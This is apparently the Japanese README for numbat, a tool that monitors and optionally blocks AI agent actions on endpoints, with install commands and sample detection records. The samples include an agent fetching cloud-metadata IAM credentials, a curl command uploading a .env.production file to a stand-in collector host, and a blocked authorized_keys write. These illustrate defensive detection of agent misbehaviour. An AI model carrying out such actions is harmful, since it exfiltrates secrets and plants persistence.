perplexityai/numbat
エンドポイント上のAIエージェント活動の可視化。オンデバイス検出、オプションのアクション前ブロック、フォレンジック再構築を備える。
AIエージェントの活動に対するエンドポイントの可視性を提供し、ローカル検出、オプションの アクション実行前ブロック、およびフォレンジック再構築を実現します。
numbatは、ローカルフックとプラグイン、OTLP/HTTPログ、およびディスク上のセッション アーティファクトを通じて、サポート対象のデスクトップ、CLI、IDE、およびゲートウェイ エージェントを監視します。ライブおよび保存時の活動は単一のイベントモデルに正規化され、 同じCELルールエンジンによって評価されます。検出はローカルで実行されます。レコードは stdoutまたはローカルファイルに書き込むことができ、オプションでHTTP経由で配信することも できます。
カバレッジマトリックスが各ホストおよびサーフェスに ついての正式な情報源です。ブロックはデフォルトで無効であり、サポート対象の同期 アクション実行前フックに限定されます。詳細はエンフォースメントガイドを 参照してください。
enforce: trueとマークされたルールにのみ適用されます。
同梱されるすべてのルールは監視専用です。macOS、Linux、またはWindows（amd64またはarm64）向けの リリースをダウンロードしてください。 各リリースにはSHA-256チェックサムが含まれています。Go 1.26.10以降を使用して インストールすることもできます:
go install github.com/perplexityai/numbat/cmd/numbat@latest
macOS または Linux:
CGO_ENABLED=0 go build -trimpath -o numbat ./cmd/numbat
Windows PowerShell:
$env:CGO_ENABLED = "0"
go build -trimpath -o numbat.exe ./cmd/numbat
これらの読み取り専用コマンドは、フックをインストールしたりエージェント設定を変更したりしません:
numbat agents
# scan all discovered parser-backed agents
numbat scan
# or limit automatic discovery to Codex
numbat scan --agent codex
scan はデフォルトで検出結果を出力します。イベントとインジケーターを含めるには numbat scan --emit all を使用してください。プレビュー、フル、および生出力モードについては content capture を参照してください。
live-capture サポートを持つ任意のエージェントに対してライブ監視をインストールしてください。以下のコマンドでは Codex を具体例として使用しています。フックは監視のみのモードで開始されます。--emit all はイベント、検出結果、インジケーター、および該当する強制決定を ~/.numbat/records.ndjson に書き込みます。
numbat hook install --agent codex --emit all
numbat hook status --agent codex
numbat をアップグレードした後、インストール済みの各エージェントに対して同じオプションで hook install を再実行してください。これにより生成されたフックとプラグインが更新されます。定義が変更された場合は、ホストの信頼を再度確認してください。
フックの信頼: 要件はエージェントとスコープによって異なります。上記の Codex ユーザーフックについては、
/hooks（CLI）または Settings > Hooks（アプリ）で現在の定義を確認して信頼してください。--enforceなどの変更後も同様です。--managedでインストールされた Codex フックはポリシーによって信頼されます。hook statusは設定を検証するものであり、実行や配信を検証するものではありません。他のエージェントとスコープについては、デプロイメントガイドを参照してください。
同梱のすべてのルールは監視専用です。検出を強制するには、その完全な同梱 YAMLを管理されたオペレーターディレクトリにコピーし、同じ id を維持したまま enforce: true を追加し、バージョンを上げてください。サポートされている事前アクションフックに対して、その有効なポリシーを検証してインストールしてください:
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforce
numbat が生成したプラグインを経由して渡された、制御された OpenClaw の before_tool_call コールバックは、提案された宛先と実行コンテキストを持つ型付きネットワークイベントになります。また、高重大度のクラウドメタデータルールにも一致します。
{
"actor": "assistant",
"confidence": "medium",
"content_preview": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"endpoint": {
"hostname": "developer-workstation", "os": "linux", "arch": "arm64",
"username": "node", "uid": "1000"
},
"event_id": "hook-run-20260724T151125.690671167-fa0a4148090fa1ba",
"event_type": "network.indicator",
"evidence": {"artifact_type": "hook"},
"project_path": "/workspace/acme-api",
"record_type": "event",
"run_id": "run-20260724T151125.690671167-fa0a4148090fa1ba",
"schema_version": "0.5.0",
"session_id": "agent:research:metadata-review",
"source_agent": "openclaw",
"source_type": "hook",
"sub_agent": "research",
"tags": ["network"],
"timestamp": "2026-07-24T15:20:00Z",
"tool_call_id": "tool-cloud-metadata-01",
"tool_name": "browser",
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
1つのセッション内で、契約上有効な2つの Claude Code 事前アクションコールバック（シークレットファイルへのアクセス、続いて提案されたアップロード）を制御下で再生した結果、この検出結果が得られました。このルールはアーティファクトスキャン中にも実行されますが、この検出結果はどちらのアクションも完了したことを証明するものではありません。
{
"cited_event_ids": [
"hook-run-20260724T143947.587655000-2030b2e550b19261",
"hook-run-20260724T144025.562634000-e18f9d375ddb1c1b"
],
"confidence": "medium",
"detected_at": "2026-07-24T14:40:29.226642Z",
"endpoint": {
"hostname": "developer-workstation", "os": "linux", "arch": "arm64",
"username": "agent", "uid": "10001"
},
"evidence_refs": [
{"artifact_type": "hook"},
{"artifact_type": "hook"}
],
"finding_id": "fnd-01be6f0c659d060e7c993a73",
"observed_actor": "assistant",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"observed_event_type": "command.exec",
"project_path_hash": "sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0",
"record_type": "finding",
"redacted": false,
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"run_id": "run-20260724T144025.562634000-e18f9d375ddb1c1b",
"schema_version": "0.5.0",
"session_id": "readme-live-sequence-01",
"severity": "high",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"],
"timestamp": "2026-07-24T14:40:25.562634Z",
"title": "Secret-file access followed by data-bearing egress"
}
authorized_keys への書き込み）同一IDのオペレーターが persistence.ssh_authorized_keys をバージョン 1.3 で enforce: true とマークして置き換えた状態で、Codex の create_file 事前アクションがルールに一致し、numbat はエージェント固有の拒否応答を選択しました。配信と強制適用のセマンティクスについては Decisions を参照してください。
{
"action_event_ids": [
"hook-run-20260724T134723.452402000-6886c86cefad57b8"
],
"decision": "deny",
"decision_id": "enf-5132cfdb6ae4d57350ec734d",
"deny_rule_id": "persistence.ssh_authorized_keys",
"deny_rule_version": "1.3",
"endpoint": {
"hostname": "developer-workstation", "os": "linux", "arch": "arm64",
"username": "agent", "uid": "10001"
},
"finding_ids": [
"fnd-f467992648daec0a927b6de7"
],
"mode": "enforce",
"model": "gpt-5.6-codex",
"reason": "enforce_rule_match",
"record_type": "enforcement",
"rule_ids": [
"persistence.ssh_authorized_keys"
],
"run_id": "run-20260724T134723.452402000-6886c86cefad57b8",
"schema_version": "0.5.0",
"session_id": "sess-doc-codex-enforce-01",
"source_agent": "codex",
"source_type": "hook",
"timestamp": "2026-07-24T13:47:23.502411Z",
"tool_call_id": "tool-doc-codex-enforce-01",
"tool_name": "create_file"
}
その他の検出される動作については、組み込みルールカタログを参照してください。
CLIリファレンスでは、完全なレコード契約、フラグ、シンクについて定義しています。ロールアウトパターンと出力の耐久性については、docs/deployment.mdを参照してください。